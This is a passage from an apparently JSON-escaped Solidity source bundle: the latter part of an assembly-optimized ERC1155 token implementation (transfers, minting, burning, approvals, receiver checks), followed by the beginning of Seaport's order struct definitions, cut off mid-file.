ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // 